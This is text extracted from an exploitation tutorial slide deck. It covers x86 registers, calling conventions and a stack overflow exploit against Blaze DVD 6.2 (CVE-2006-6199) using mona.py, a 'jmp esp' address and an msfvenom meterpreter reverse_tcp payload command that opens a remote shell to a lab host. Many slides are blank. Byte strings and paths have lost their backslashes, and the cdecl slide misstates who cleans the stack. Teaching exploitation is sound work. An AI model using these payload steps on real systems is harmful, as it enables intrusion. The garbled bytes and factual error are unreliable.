An introduction to basic exploiting concepts, using and example without DEP and ASLR.

2. 2
§ Exploiting: The art of take advantage of software vulnerabilities.

3. 3
−Stack Buffer Overflow
§Integer Overflow
§Off-by-one
−Heap Overflow
§Use after free
§Double Free
−Memory Leaks
§Format String

4. 4

5. 5
−General Purpose: EAX,EBX, ECX, EDX
−Intruction Pointer: EIP
−Frame Pointer: EBP
−Stack Pointer: ESP

6. 6
Main Parameters
Saved EIP
Saved EBP
P1 (4 bytes)
P2 (16 bytes)
High Address
Low Address
source (4 bytes)
dest (4 bytes)
Saved EIP
Saved EBP
EBP, ESP
Main
stackframeCopyData
StackFrame

7. 7
§Intel AT&T
−

8. 8
§ FastCall
− Use ECX and EDX to pass arguments. (from left to right)
− The rest of them through the stack. (from right to left)
§ Cdecl
− Arguments are passed on the stack. (from right to left)
− Used on C and C++.
− EAX, ECX, and EDX are caller-saved
− The rest are callee-saved.
− The callee remove arguments from frame.
§ StdCall
− Callee is responsible for cleaning up the stack
− Parameters are pushed onto the stack in right-to-left order
− Used by Win32 Api Calls.

9. 9
Main Parameters
Saved EIP
Saved EBP
Modified (4 bytes)
P2 (16 bytes)
High Address
Low Address
source (4 bytes)
dest (4 bytes)
Saved EIP
Saved EBP
EBP, ESP
Main
stackframeCopyData
StackFrame

10. 10

11. 11

12. 12

13. 13
Blaze DVD 6.2 (Latest version)
http://www.blazevideo.com/dvd-player/
CVE-2006-6199
File format Vulnerability with RCE via a Stack-Overflow.
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-6199

14. 14
ASLR DEP Stack-cookie

15. 15
!mona config -set workingfolder C:Documents and
SettingstestEscritorioMona_results
Mona.py

16. 16
Immunity Debugger

17. 17
Metasploit

18. 18
Mona.py

19. 19
Log data, item 21
Address=7C874413
Message= 0x7c874413 : "jmp esp" | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase:
False, SafeSEH: True, OS: True, v5.1.2600.5781 (C:WINDOWSsystem32kernel32.dll)
Memory info:
https://msdn.microsoft.com/es-es/library/windows/desktop/aa366786(v=vs.85).aspx

20. 20
./msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=172.16.192.1 LPORT=4444 -b 'x00x0ax1a' –f perl -o
~/Exploiting/Blaze DVD Example/shellcode_perl.pl

21. 21
Badchars: Every byte that could break the shellcode.
With Mona.py
1. Obtain a badchar array:
1. !mona bytearray -b 'x00’
2. Execute the exploit with the array as a shellcode.
3. Compare memory
1. !mona compare -f C:Documents and
SettingstestEscritorioMona_resultsbytearray

22. 22
Trash_1• Separating ESP from Shellcode.
• SUB ESP,20 = x83xecx14
With Radare
High Address
Low Address
Shellcode
Trash_2
EIP
EIPESP - 20

23. 23
Executing Code
with Metasploit

24. 24
Woot!

25. 25